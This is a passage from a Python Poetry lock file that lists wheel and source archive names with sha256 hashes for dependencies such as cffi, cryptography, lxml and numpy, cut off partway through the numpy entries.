{file = "cffi-1.15.0-cp310-cp310-win_amd64.whl", hash = "sha256:5e069f72d497312b24fcc02073d70cb989045d1c91cbd53979366077959933e0"}, 469 | {file = "cffi-1.15.0-cp36-cp36m-macosx_10_9_x86_64.whl", hash = "sha256:64d4ec9f448dfe041705426000cc13e34e6e5bb13736e9fd62e34a0b0c41566e"}, 470 | {file = "cffi-1.15.0-cp36-cp36m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:2756c88cbb94231c7a147402476be2c4df2f6078099a6f4a480d239a8817ae39"}, 471 | {file = "cffi-1.15.0-cp36-cp36m-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:3b96a311ac60a3f6be21d2572e46ce67f09abcf4d09344c49274eb9e0bf345fc"}, 472 | {file = "cffi-1.15.0-cp36-cp36m-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:75e4024375654472cc27e91cbe9eaa08567f7fbdf822638be2814ce059f58032"}, 473 | {file = "cffi-1.15.0-cp36-cp36m-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:59888172256cac5629e60e72e86598027aca6bf01fa2465bdb676d37636573e8"}, 474 | {file = "cffi-1.15.0-cp36-cp36m-manylinux_2_5_x86_64.manylinux1_x86_64.whl", hash = "sha256:27c219baf94952ae9d50ec19651a687b826792055353d07648a5695413e0c605"}, 475 | {file = "cffi-1.15.0-cp36-cp36m-win32.whl", hash = "sha256:4958391dbd6249d7ad855b9ca88fae690783a6be9e86df65865058ed81fc860e"}, 476 | {file = "cffi-1.15.0-cp36-cp36m-win_amd64.whl", hash = "sha256:f6f824dc3bce0edab5f427efcfb1d63ee75b6fcb7282900ccaf925be84efb0fc"}, 477 | {file = "cffi-1.15.0-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:06c48159c1abed75c2e721b1715c379fa3200c7784271b3c46df01383b593636"}, 478 | {file = "cffi-1.15.0-cp37-cp37m-manylinux_2_12_i686.manylinux2010_i686.whl", hash = "sha256:c2051981a968d7de9dd2d7b87bcb9c939c74a34626a6e2f8181455dd49ed69e4"}, 479 | {file = "cffi-1.15.0-cp37-cp37m-manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:fd8a250edc26254fe5b33be00402e6d287f562b6a5b2152dec302fa15bb3e997"}, 480 | {file = "cffi-1.15.0-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:91d77d2a782be4274da750752bb1650a97bfd8f291022b379bb8e01c66b4e96b"}, 481 | {file = "cffi-1.15.0-cp37-cp37m-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:45db3a33139e9c8f7c09234b5784a5e33d31fd6907800b316decad50af323ff2"}, 482 | {file = "cffi-1.15.0-cp37-cp37m-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:263cc3d821c4ab2213cbe8cd8b355a7f72a8324577dc865ef98487c1aeee2bc7"}, 483 | {file = "cffi-1.15.0-cp37-cp37m-win32.whl", hash = "sha256:17771976e82e9f94976180f76468546834d22a7cc404b17c22df2a2c81db0c66"}, 484 | {file = "cffi-1.15.0-cp37-cp37m-win_amd64.whl", hash = "sha256:3415c89f9204ee60cd09b235810be700e993e343a408693e80ce7f6a40108029"}, 485 | {file = "cffi-1.15.0-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:4238e6dab5d6a8ba812de994bbb0a79bddbdf80994e4ce802b6f6f3142fcc880"}, 486 | {file = "cffi-1.15.0-cp38-cp38-manylinux_2_12_i686.manylinux2010_i686.whl", hash = "sha256:0808014eb713677ec1292301ea4c81ad277b6cdf2fdd90fd540af98c0b101d20"}, 487 | {file = "cffi-1.15.0-cp38-cp38-manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:57e9ac9ccc3101fac9d6014fba037473e4358ef4e89f8e181f8951a2c0162024"}, 488 | {file = "cffi-1.15.0-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:8b6c2ea03845c9f501ed1313e78de148cd3f6cad741a75d43a29b43da27f2e1e"}, 489 | {file = "cffi-1.15.0-cp38-cp38-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:10dffb601ccfb65262a27233ac273d552ddc4d8ae1bf93b21c94b8511bffe728"}, 490 | {file = "cffi-1.15.0-cp38-cp38-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:786902fb9ba7433aae840e0ed609f45c7bcd4e225ebb9c753aa39725bb3e6ad6"}, 491 | {file = "cffi-1.15.0-cp38-cp38-win32.whl", hash = "sha256:da5db4e883f1ce37f55c667e5c0de439df76ac4cb55964655906306918e7363c"}, 492 | {file = "cffi-1.15.0-cp38-cp38-win_amd64.whl", hash = "sha256:181dee03b1170ff1969489acf1c26533710231c58f95534e3edac87fff06c443"}, 493 | {file = "cffi-1.15.0-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:45e8636704eacc432a206ac7345a5d3d2c62d95a507ec70d62f23cd91770482a"}, 494 | {file = "cffi-1.15.0-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:31fb708d9d7c3f49a60f04cf5b119aeefe5644daba1cd2a0fe389b674fd1de37"}, 495 | {file = "cffi-1.15.0-cp39-cp39-manylinux_2_12_i686.manylinux2010_i686.whl", hash = "sha256:6dc2737a3674b3e344847c8686cf29e500584ccad76204efea14f451d4cc669a"}, 496 | {file = "cffi-1.15.0-cp39-cp39-manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:74fdfdbfdc48d3f47148976f49fab3251e550a8720bebc99bf1483f5bfb5db3e"}, 497 | {file = "cffi-1.15.0-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:ffaa5c925128e29efbde7301d8ecaf35c8c60ffbcd6a1ffd3a552177c8e5e796"}, 498 | {file = "cffi-1.15.0-cp39-cp39-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:3f7d084648d77af029acb79a0ff49a0ad7e9d09057a9bf46596dac9514dc07df"}, 499 | {file = "cffi-1.15.0-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:ef1f279350da2c586a69d32fc8733092fd32cc8ac95139a00377841f59a3f8d8"}, 500 | {file = "cffi-1.15.0-cp39-cp39-win32.whl", hash = "sha256:2a23af14f408d53d5e6cd4e3d9a24ff9e05906ad574822a10563efcef137979a"}, 501 | {file = "cffi-1.15.0-cp39-cp39-win_amd64.whl", hash = "sha256:3773c4d81e6e818df2efbc7dd77325ca0dcb688116050fb2b3011218eda36139"}, 502 | {file = "cffi-1.15.0.tar.gz", hash = "sha256:920f0d66a896c2d99f0adbb391f990a84091179542c205fa53ce5787aff87954"}, 503 | ] 504 | charset-normalizer = [ 505 | {file = "charset-normalizer-2.0.9.tar.gz", hash = "sha256:b0b883e8e874edfdece9c28f314e3dd5badf067342e42fb162203335ae61aa2c"}, 506 | {file = "charset_normalizer-2.0.9-py3-none-any.whl", hash = "sha256:1eecaa09422db5be9e29d7fc65664e6c33bd06f9ced7838578ba40d58bdf3721"}, 507 | ] 508 | click = [ 509 | {file = "click-8.0.3-py3-none-any.whl", hash = "sha256:353f466495adaeb40b6b5f592f9f91cb22372351c84caeb068132442a4518ef3"}, 510 | {file = "click-8.0.3.tar.gz", hash = "sha256:410e932b050f5eed773c4cda94de75971c89cdb3155a72a0831139a79e5ecb5b"}, 511 | ] 512 | colorama = [ 513 | {file = "colorama-0.4.4-py2.py3-none-any.whl", hash = "sha256:9f47eda37229f68eee03b24b9748937c7dc3868f906e8ba69fbcbdd3bc5dc3e2"}, 514 | {file = "colorama-0.4.4.tar.gz", hash = "sha256:5941b2b48a20143d2267e95b1c2a7603ce057ee39fd88e7329b0c292aa16869b"}, 515 | ] 516 | cryptography = [ 517 | {file = "cryptography-36.0.1-cp36-abi3-macosx_10_10_universal2.whl", hash = "sha256:73bc2d3f2444bcfeac67dd130ff2ea598ea5f20b40e36d19821b4df8c9c5037b"}, 518 | {file = "cryptography-36.0.1-cp36-abi3-macosx_10_10_x86_64.whl", hash = "sha256:2d87cdcb378d3cfed944dac30596da1968f88fb96d7fc34fdae30a99054b2e31"}, 519 | {file = "cryptography-36.0.1-cp36-abi3-manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:74d6c7e80609c0f4c2434b97b80c7f8fdfaa072ca4baab7e239a15d6d70ed73a"}, 520 | {file = "cryptography-36.0.1-cp36-abi3-manylinux_2_17_aarch64.manylinux2014_aarch64.manylinux_2_24_aarch64.whl", hash = "sha256:6c0c021f35b421ebf5976abf2daacc47e235f8b6082d3396a2fe3ccd537ab173"}, 521 | {file = "cryptography-36.0.1-cp36-abi3-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:5d59a9d55027a8b88fd9fd2826c4392bd487d74bf628bb9d39beecc62a644c12"}, 522 | {file = "cryptography-36.0.1-cp36-abi3-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:0a817b961b46894c5ca8a66b599c745b9a3d9f822725221f0e0fe49dc043a3a3"}, 523 | {file = "cryptography-36.0.1-cp36-abi3-manylinux_2_24_x86_64.whl", hash = "sha256:94ae132f0e40fe48f310bba63f477f14a43116f05ddb69d6fa31e93f05848ae2"}, 524 | {file = "cryptography-36.0.1-cp36-abi3-musllinux_1_1_aarch64.whl", hash = "sha256:7be0eec337359c155df191d6ae00a5e8bbb63933883f4f5dffc439dac5348c3f"}, 525 | {file = "cryptography-36.0.1-cp36-abi3-musllinux_1_1_x86_64.whl", hash = "sha256:e0344c14c9cb89e76eb6a060e67980c9e35b3f36691e15e1b7a9e58a0a6c6dc3"}, 526 | {file = "cryptography-36.0.1-cp36-abi3-win32.whl", hash = "sha256:4caa4b893d8fad33cf1964d3e51842cd78ba87401ab1d2e44556826df849a8ca"}, 527 | {file = "cryptography-36.0.1-cp36-abi3-win_amd64.whl", hash = "sha256:391432971a66cfaf94b21c24ab465a4cc3e8bf4a939c1ca5c3e3a6e0abebdbcf"}, 528 | {file = "cryptography-36.0.1-pp37-pypy37_pp73-manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:bb5829d027ff82aa872d76158919045a7c1e91fbf241aec32cb07956e9ebd3c9"}, 529 | {file = "cryptography-36.0.1-pp37-pypy37_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:ebc15b1c22e55c4d5566e3ca4db8689470a0ca2babef8e3a9ee057a8b82ce4b1"}, 530 | {file = "cryptography-36.0.1-pp37-pypy37_pp73-manylinux_2_24_x86_64.whl", hash = "sha256:596f3cd67e1b950bc372c33f1a28a0692080625592ea6392987dba7f09f17a94"}, 531 | {file = "cryptography-36.0.1-pp38-pypy38_pp73-macosx_10_10_x86_64.whl", hash = "sha256:30ee1eb3ebe1644d1c3f183d115a8c04e4e603ed6ce8e394ed39eea4a98469ac"}, 532 | {file = "cryptography-36.0.1-pp38-pypy38_pp73-manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:ec63da4e7e4a5f924b90af42eddf20b698a70e58d86a72d943857c4c6045b3ee"}, 533 | {file = "cryptography-36.0.1-pp38-pypy38_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:ca238ceb7ba0bdf6ce88c1b74a87bffcee5afbfa1e41e173b1ceb095b39add46"}, 534 | {file = "cryptography-36.0.1-pp38-pypy38_pp73-manylinux_2_24_x86_64.whl", hash = "sha256:ca28641954f767f9822c24e927ad894d45d5a1e501767599647259cbf030b903"}, 535 | {file = "cryptography-36.0.1-pp38-pypy38_pp73-win_amd64.whl", hash = "sha256:39bdf8e70eee6b1c7b289ec6e5d84d49a6bfa11f8b8646b5b3dfe41219153316"}, 536 | {file = "cryptography-36.0.1.tar.gz", hash = "sha256:53e5c1dc3d7a953de055d77bef2ff607ceef7a2aac0353b5d630ab67f7423638"}, 537 | ] 538 | deprecated = [ 539 | {file = "Deprecated-1.2.13-py2.py3-none-any.whl", hash = "sha256:64756e3e14c8c5eea9795d93c524551432a0be75629f8f29e67ab8caf076c76d"}, 540 | {file = "Deprecated-1.2.13.tar.gz", hash = "sha256:43ac5335da90c31c24ba028af536a91d41d53f9e6901ddb021bcc572ce44e38d"}, 541 | ] 542 | future = [ 543 | {file = "future-0.18.2.tar.gz", hash = "sha256:b1bead90b70cf6ec3f0710ae53a525360fa360d306a86583adc6bf83a4db537d"}, 544 | ] 545 | "github3.py" = [ 546 | {file = "github3.py-3.0.0-py2.py3-none-any.whl", hash = "sha256:42f97ba5aa8d7bd3aa1ba0e3fc701e46003835f6c5cc39472dbfc47468342b59"}, 547 | {file = "github3.py-3.0.0.tar.gz", hash = "sha256:a9134cb9efd334b1644ad7c5ee3ff3ff488317c4549ffc0e8d82e4d63383a1a4"}, 548 | ] 549 | idna = [ 550 | {file = "idna-3.3-py3-none-any.whl", hash = "sha256:84d9dd047ffa80596e0f246e2eab0b391788b0503584e8945f2368256d2735ff"}, 551 | {file = "idna-3.3.tar.gz", hash = "sha256:9d643ff0a55b762d5cdb124b8eaa99c66322e2157b69160bc32796e824360e6d"}, 552 | ] 553 | jwcrypto = [ 554 | {file = "jwcrypto-1.0-py2.py3-none-any.whl", hash = "sha256:db93a656d9a7a35dda5a68deb5c9f301f4e60507d8aef1559e0637b9ac497137"}, 555 | {file = "jwcrypto-1.0.tar.gz", hash = "sha256:f88816eb0a41b8f006af978ced5f171f33782525006cdb055b536a40f4d46ac9"}, 556 | ] 557 | lxml = [ 558 | {file = "lxml-4.7.1-cp27-cp27m-macosx_10_14_x86_64.whl", hash = "sha256:d546431636edb1d6a608b348dd58cc9841b81f4116745857b6cb9f8dadb2725f"}, 559 | {file = "lxml-4.7.1-cp27-cp27m-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:6308062534323f0d3edb4e702a0e26a76ca9e0e23ff99be5d82750772df32a9e"}, 560 | {file = "lxml-4.7.1-cp27-cp27m-manylinux_2_5_x86_64.manylinux1_x86_64.whl", hash = "sha256:f76dbe44e31abf516114f6347a46fa4e7c2e8bceaa4b6f7ee3a0a03c8eba3c17"}, 561 | {file = "lxml-4.7.1-cp27-cp27m-win32.whl", hash = "sha256:d5618d49de6ba63fe4510bdada62d06a8acfca0b4b5c904956c777d28382b419"}, 562 | {file = "lxml-4.7.1-cp27-cp27m-win_amd64.whl", hash = "sha256:9393a05b126a7e187f3e38758255e0edf948a65b22c377414002d488221fdaa2"}, 563 | {file = "lxml-4.7.1-cp27-cp27mu-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:50d3dba341f1e583265c1a808e897b4159208d814ab07530202b6036a4d86da5"}, 564 | {file = "lxml-4.7.1-cp27-cp27mu-manylinux_2_5_x86_64.manylinux1_x86_64.whl", hash = "sha256:44f552e0da3c8ee3c28e2eb82b0b784200631687fc6a71277ea8ab0828780e7d"}, 565 | {file = "lxml-4.7.1-cp310-cp310-macosx_10_14_x86_64.whl", hash = "sha256:e662c6266e3a275bdcb6bb049edc7cd77d0b0f7e119a53101d367c841afc66dc"}, 566 | {file = "lxml-4.7.1-cp310-cp310-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_24_i686.whl", hash = "sha256:4c093c571bc3da9ebcd484e001ba18b8452903cd428c0bc926d9b0141bcb710e"}, 567 | {file = "lxml-4.7.1-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.manylinux_2_24_aarch64.whl", hash = "sha256:3e26ad9bc48d610bf6cc76c506b9e5ad9360ed7a945d9be3b5b2c8535a0145e3"}, 568 | {file = "lxml-4.7.1-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.manylinux_2_24_x86_64.whl", hash = "sha256:a5f623aeaa24f71fce3177d7fee875371345eb9102b355b882243e33e04b7175"}, 569 | {file = "lxml-4.7.1-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:7b5e2acefd33c259c4a2e157119c4373c8773cf6793e225006a1649672ab47a6"}, 570 | {file = "lxml-4.7.1-cp310-cp310-win32.whl", hash = "sha256:67fa5f028e8a01e1d7944a9fb616d1d0510d5d38b0c41708310bd1bc45ae89f6"}, 571 | {file = "lxml-4.7.1-cp310-cp310-win_amd64.whl", hash = "sha256:b1d381f58fcc3e63fcc0ea4f0a38335163883267f77e4c6e22d7a30877218a0e"}, 572 | {file = "lxml-4.7.1-cp35-cp35m-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:38d9759733aa04fb1697d717bfabbedb21398046bd07734be7cccc3d19ea8675"}, 573 | {file = "lxml-4.7.1-cp35-cp35m-manylinux_2_5_x86_64.manylinux1_x86_64.whl", hash = "sha256:dfd0d464f3d86a1460683cd742306d1138b4e99b79094f4e07e1ca85ee267fe7"}, 574 | {file = "lxml-4.7.1-cp35-cp35m-win32.whl", hash = "sha256:534e946bce61fd162af02bad7bfd2daec1521b71d27238869c23a672146c34a5"}, 575 | {file = "lxml-4.7.1-cp35-cp35m-win_amd64.whl", hash = "sha256:6ec829058785d028f467be70cd195cd0aaf1a763e4d09822584ede8c9eaa4b03"}, 576 | {file = "lxml-4.7.1-cp36-cp36m-macosx_10_14_x86_64.whl", hash = "sha256:ade74f5e3a0fd17df5782896ddca7ddb998845a5f7cd4b0be771e1ffc3b9aa5b"}, 577 | {file = "lxml-4.7.1-cp36-cp36m-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_24_i686.whl", hash = "sha256:41358bfd24425c1673f184d7c26c6ae91943fe51dfecc3603b5e08187b4bcc55"}, 578 | {file = "lxml-4.7.1-cp36-cp36m-manylinux_2_17_x86_64.manylinux2014_x86_64.manylinux_2_24_x86_64.whl", hash = "sha256:6e56521538f19c4a6690f439fefed551f0b296bd785adc67c1777c348beb943d"}, 579 | {file = "lxml-4.7.1-cp36-cp36m-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:5b0f782f0e03555c55e37d93d7a57454efe7495dab33ba0ccd2dbe25fc50f05d"}, 580 | {file = "lxml-4.7.1-cp36-cp36m-manylinux_2_5_x86_64.manylinux1_x86_64.whl", hash = "sha256:490712b91c65988012e866c411a40cc65b595929ececf75eeb4c79fcc3bc80a6"}, 581 | {file = "lxml-4.7.1-cp36-cp36m-musllinux_1_1_x86_64.whl", hash = "sha256:34c22eb8c819d59cec4444d9eebe2e38b95d3dcdafe08965853f8799fd71161d"}, 582 | {file = "lxml-4.7.1-cp36-cp36m-win32.whl", hash = "sha256:2a906c3890da6a63224d551c2967413b8790a6357a80bf6b257c9a7978c2c42d"}, 583 | {file = "lxml-4.7.1-cp36-cp36m-win_amd64.whl", hash = "sha256:36b16fecb10246e599f178dd74f313cbdc9f41c56e77d52100d1361eed24f51a"}, 584 | {file = "lxml-4.7.1-cp37-cp37m-macosx_10_14_x86_64.whl", hash = "sha256:a5edc58d631170de90e50adc2cc0248083541affef82f8cd93bea458e4d96db8"}, 585 | {file = "lxml-4.7.1-cp37-cp37m-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_24_i686.whl", hash = "sha256:87c1b0496e8c87ec9db5383e30042357b4839b46c2d556abd49ec770ce2ad868"}, 586 | {file = "lxml-4.7.1-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.manylinux_2_24_aarch64.whl", hash = "sha256:0a5f0e4747f31cff87d1eb32a6000bde1e603107f632ef4666be0dc065889c7a"}, 587 | {file = "lxml-4.7.1-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.manylinux_2_24_x86_64.whl", hash = "sha256:bf6005708fc2e2c89a083f258b97709559a95f9a7a03e59f805dd23c93bc3986"}, 588 | {file = "lxml-4.7.1-cp37-cp37m-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:fc15874816b9320581133ddc2096b644582ab870cf6a6ed63684433e7af4b0d3"}, 589 | {file = "lxml-4.7.1-cp37-cp37m-manylinux_2_5_x86_64.manylinux1_x86_64.whl", hash = "sha256:0b5e96e25e70917b28a5391c2ed3ffc6156513d3db0e1476c5253fcd50f7a944"}, 590 | {file = "lxml-4.7.1-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:ec9027d0beb785a35aa9951d14e06d48cfbf876d8ff67519403a2522b181943b"}, 591 | {file = "lxml-4.7.1-cp37-cp37m-win32.whl", hash = "sha256:9fbc0dee7ff5f15c4428775e6fa3ed20003140560ffa22b88326669d53b3c0f4"}, 592 | {file = "lxml-4.7.1-cp37-cp37m-win_amd64.whl", hash = "sha256:1104a8d47967a414a436007c52f533e933e5d52574cab407b1e49a4e9b5ddbd1"}, 593 | {file = "lxml-4.7.1-cp38-cp38-macosx_10_14_x86_64.whl", hash = "sha256:fc9fb11b65e7bc49f7f75aaba1b700f7181d95d4e151cf2f24d51bfd14410b77"}, 594 | {file = "lxml-4.7.1-cp38-cp38-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_24_i686.whl", hash = "sha256:317bd63870b4d875af3c1be1b19202de34c32623609ec803b81c99193a788c1e"}, 595 | {file = "lxml-4.7.1-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.manylinux_2_24_aarch64.whl", hash = "sha256:610807cea990fd545b1559466971649e69302c8a9472cefe1d6d48a1dee97440"}, 596 | {file = "lxml-4.7.1-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.manylinux_2_24_x86_64.whl", hash = "sha256:09b738360af8cb2da275998a8bf79517a71225b0de41ab47339c2beebfff025f"}, 597 | {file = "lxml-4.7.1-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:6a2ab9d089324d77bb81745b01f4aeffe4094306d939e92ba5e71e9a6b99b71e"}, 598 | {file = "lxml-4.7.1-cp38-cp38-manylinux_2_5_x86_64.manylinux1_x86_64.whl", hash = "sha256:eed394099a7792834f0cb4a8f615319152b9d801444c1c9e1b1a2c36d2239f9e"}, 599 | {file = "lxml-4.7.1-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:735e3b4ce9c0616e85f302f109bdc6e425ba1670a73f962c9f6b98a6d51b77c9"}, 600 | {file = "lxml-4.7.1-cp38-cp38-win32.whl", hash = "sha256:772057fba283c095db8c8ecde4634717a35c47061d24f889468dc67190327bcd"}, 601 | {file = "lxml-4.7.1-cp38-cp38-win_amd64.whl", hash = "sha256:13dbb5c7e8f3b6a2cf6e10b0948cacb2f4c9eb05029fe31c60592d08ac63180d"}, 602 | {file = "lxml-4.7.1-cp39-cp39-macosx_10_14_x86_64.whl", hash = "sha256:718d7208b9c2d86aaf0294d9381a6acb0158b5ff0f3515902751404e318e02c9"}, 603 | {file = "lxml-4.7.1-cp39-cp39-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_24_i686.whl", hash = "sha256:5bee1b0cbfdb87686a7fb0e46f1d8bd34d52d6932c0723a86de1cc532b1aa489"}, 604 | {file = "lxml-4.7.1-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.manylinux_2_24_aarch64.whl", hash = "sha256:e410cf3a2272d0a85526d700782a2fa92c1e304fdcc519ba74ac80b8297adf36"}, 605 | {file = "lxml-4.7.1-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.manylinux_2_24_x86_64.whl", hash = "sha256:585ea241ee4961dc18a95e2f5581dbc26285fcf330e007459688096f76be8c42"}, 606 | {file = "lxml-4.7.1-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:a555e06566c6dc167fbcd0ad507ff05fd9328502aefc963cb0a0547cfe7f00db"}, 607 | {file = "lxml-4.7.1-cp39-cp39-manylinux_2_5_x86_64.manylinux1_x86_64.whl", hash = "sha256:adaab25be351fff0d8a691c4f09153647804d09a87a4e4ea2c3f9fe9e8651851"}, 608 | {file = "lxml-4.7.1-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:82d16a64236970cb93c8d63ad18c5b9f138a704331e4b916b2737ddfad14e0c4"}, 609 | {file = "lxml-4.7.1-cp39-cp39-win32.whl", hash = "sha256:59e7da839a1238807226f7143c68a479dee09244d1b3cf8c134f2fce777d12d0"}, 610 | {file = "lxml-4.7.1-cp39-cp39-win_amd64.whl", hash = "sha256:a1bbc4efa99ed1310b5009ce7f3a1784698082ed2c1ef3895332f5df9b3b92c2"}, 611 | {file = "lxml-4.7.1-pp37-pypy37_pp73-macosx_10_14_x86_64.whl", hash = "sha256:0607ff0988ad7e173e5ddf7bf55ee65534bd18a5461183c33e8e41a59e89edf4"}, 612 | {file = "lxml-4.7.1-pp37-pypy37_pp73-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_24_i686.whl", hash = "sha256:6c198bfc169419c09b85ab10cb0f572744e686f40d1e7f4ed09061284fc1303f"}, 613 | {file = "lxml-4.7.1-pp37-pypy37_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.manylinux_2_24_x86_64.whl", hash = "sha256:a58d78653ae422df6837dd4ca0036610b8cb4962b5cfdbd337b7b24de9e5f98a"}, 614 | {file = "lxml-4.7.1-pp38-pypy38_pp73-macosx_10_14_x86_64.whl", hash = "sha256:e18281a7d80d76b66a9f9e68a98cf7e1d153182772400d9a9ce855264d7d0ce7"}, 615 | {file = "lxml-4.7.1-pp38-pypy38_pp73-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_24_i686.whl", hash = "sha256:8e54945dd2eeb50925500957c7c579df3cd07c29db7810b83cf30495d79af267"}, 616 | {file = "lxml-4.7.1-pp38-pypy38_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.manylinux_2_24_x86_64.whl", hash = "sha256:447d5009d6b5447b2f237395d0018901dcc673f7d9f82ba26c1b9f9c3b444b60"}, 617 | {file = "lxml-4.7.1.tar.gz", hash = "sha256:a1613838aa6b89af4ba10a0f3a972836128801ed008078f8c1244e65958f1b24"}, 618 | ] 619 | mypy-extensions = [ 620 | {file = "mypy_extensions-0.4.3-py2.py3-none-any.whl", hash = "sha256:090fedd75945a69ae91ce1303b5824f428daf5a028d2f6ab8a299250a846f15d"}, 621 | {file = "mypy_extensions-0.4.3.tar.gz", hash = "sha256:2d82818f5bb3e369420cb3c4060a7970edba416647068eb4c5343488a6c604a8"}, 622 | ] 623 | numpy = [ 624 | {file = "numpy-1.21.5-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:301e408a052fdcda5cdcf03021ebafc3c6ea093021bf9d1aa47c54d48bdad166"}, 625 | {file = "numpy-1.21.5-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:a7e8f6216f180f3fd4efb73de5d1eaefb5f5a1ee5b645c67333033e39440e63a"}, 626 | {file = "numpy-1.21.5-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:fc7a7d7b0ed72589fd8b8486b9b42a564f10b8762be8bd4d9df94b807af4a089"}, 627 | {file = "numpy-1.21.5-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:58ca1d7c8aef6e996112d0ce873ac9dfa1eaf4a1196b4ff7ff73880a09923ba7"}, 628 | {file = "numpy-1.21.5-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:dc4b2fb01f1b4ddbe2453468ea0719f4dbb1f5caa712c8b21bb3dd1480cd30d9"}, 629 | {file = "numpy-1.21.5-cp310-cp310-win_amd64.whl", hash = "sha256:cc1b30205d138d1005adb52087ff45708febbef0e420386f58664f984ef56954"}, 630 | {file = "numpy-1.21.5-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:08de8472d9f7571f9d51b27b75e827f5296295fa78817032e84464be8bb905bc"}, 631 | {file = "numpy-1.21.5-cp37-cp37m-manylinux_2_12_i686.manylinux2010_i686.whl", hash = "sha256:4fe6a006557b87b352c04596a6e3f12a57d6e5f401d804947bd3188e6b0e0e76"}, 632 | {file = "numpy-1.21.5-cp37-cp37m-manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:3d893b0871322eaa2f8c7072cdb552d8e2b27645b7875a70833c31e9274d4611"}, 633 | {file = "numpy-1.21.5-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:341dddcfe3b7b6427a28a27baa59af5ad51baa59bfec3264f1ab287aa3b30b13"}, 634 | {file = "numpy-1.21.5-cp37-cp37m-win32.whl", hash = "sha256:ca9c23848292c6fe0a19d212790e62f398fd9609aaa838859be8459bfbe558aa"}, 635 | {file = "numpy-1.21.5-cp37-cp37m-win_amd64.whl", hash = "sha256:025b497014bc33fc23897859350f284323f32a2fff7654697f5a5fc2a19e9939"}, 636 | {file = "numpy-1.21.5-cp38-cp38-macosx_10_9_universal2.whl", hash = "sha256:3a5098df115340fb17fc93867317a947e1dcd978c3888c5ddb118366095851f8"}, 637 | {file = "numpy-1.21.5-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:311283acf880cfcc20369201bd75da907909afc4666966c7895cbed6f9d2c640"}, 638 | {file = "numpy-1.21.5-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:b545ebadaa2b878c8630e5bcdb97fc4096e779f335fc0f943547c1c91540c815"}, 639 | {file = "numpy-1.21.5-cp38-cp38-manylinux_2_12_i686.manylinux2010_i686.whl", hash = "sha256:c5562bcc1a9b61960fc8950ade44d00e3de28f891af0acc96307c73613d18f6e"}, 640 | {file = "numpy-1.21.5-cp38-cp38-manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:eed2afaa97ec33b4411995be12f8bdb95c87984eaa28d76cf628970c8a2d689a"}, 641 | {file = "numpy-1.21.5-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = 